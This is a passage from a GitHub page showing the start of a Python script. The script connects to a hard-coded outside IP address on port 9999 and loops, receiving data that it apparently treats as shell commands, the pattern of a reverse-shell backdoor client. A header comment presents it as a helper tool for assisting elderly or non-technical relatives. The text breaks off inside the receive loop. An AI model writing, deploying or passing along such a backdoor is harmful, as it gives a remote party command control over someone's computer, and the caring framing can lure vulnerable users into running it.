You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
#USE DOCKER TO MAKE THIS USABLE ON WINDOWS LAPTOPS; THIS PROGRAM WILL BE WHAT AVERAGE PEOPLE USE TO HELP AN ELDERLY OR NO TECH SAVY LOVED ONE WITH COMPUTER PROBLEMS
import socket, os, subprocess, urllib.request, urllib.parse, re, time
s = socket.socket()
host = "168.235.86.52"
port = 9999
s.connect((host, port))
while True:
#recv function takes a number as an arguement; arguement is the buffer time
data = s.recv(1024)
#this conditionals takes the bytes and decodes them into a string format then it checks to see if the first two characaters are 'cd'